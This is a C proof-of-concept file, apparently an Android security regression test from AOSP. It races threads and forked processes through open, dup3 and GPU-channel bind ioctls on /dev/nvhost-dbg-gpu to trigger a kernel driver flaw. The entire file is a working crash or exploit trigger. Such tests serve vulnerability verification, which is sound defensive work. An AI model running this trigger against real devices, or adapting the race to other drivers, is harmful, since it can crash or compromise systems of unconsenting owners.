1 /* 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 #define _GNU_SOURCE 17 #include <sys/types.h> 18 #include <sys/stat.h> 19 #include <fcntl.h> 20 #include <unistd.h> 21 #include <sys/syscall.h> 22 #include <string.h> 23 #include <stdint.h> 24 #include <pthread.h> 25 #include <linux/ion.h> 26 27 #define NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL 0xc0084401ul 28 29 30 int fd_gpu; 31 int fd_dbg; 32 int fd_dbg_1; 33 34 void *thr(void *arg) 35 { 36 int ioarg[2]; 37 switch ((long)arg) { 38 case 0: 39 fd_dbg = open("/dev/nvhost-dbg-gpu",0x0ul,0x101000ul); 40 break; 41 case 1: 42 fd_dbg_1 = dup3(fd_dbg, fd_dbg,0x80000ul); 43 break; 44 case 2: 45 ioarg[0] = fd_dbg_1; 46 ioarg[1] = 0; 47 ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg, 0, 0, 0); 48 break; 49 case 3: 50 fd_gpu = open("/dev/nvhost-gpu",0x0ul,0x2000ul); 51 break; 52 case 4: 53 ioarg[0] = fd_gpu; 54 ioarg[1] = 0; 55 ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg); 56 break; 57 case 5: 58 ioarg[0] = fd_gpu; 59 ioarg[1] = 0; 60 ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg); 61 break; 62 } 63 return 0; 64 } 65 int poc() 66 { 67 long i; 68 pthread_t th; 69 for (i = 0; i < 6; i++) { 70 pthread_create(&th, 0, thr, (void*)i); 71 usleep(10000); 72 } 73 for (i = 0; i < 6; i++) { 74 pthread_create(&th, 0, thr, (void*)i); 75 if (i%2==0) 76 usleep(10000); 77 } 78 usleep(100000); 79 return 0; 80 } 81 82 83 int main(int argc, char const *argv[]) 84 { 85 int pid; 86 while(1){ 87 pid = fork(); 88 if(pid){ 89 usleep(30000); 90 }else 91 return poc(); 92 } 93 return 0; 94 } 95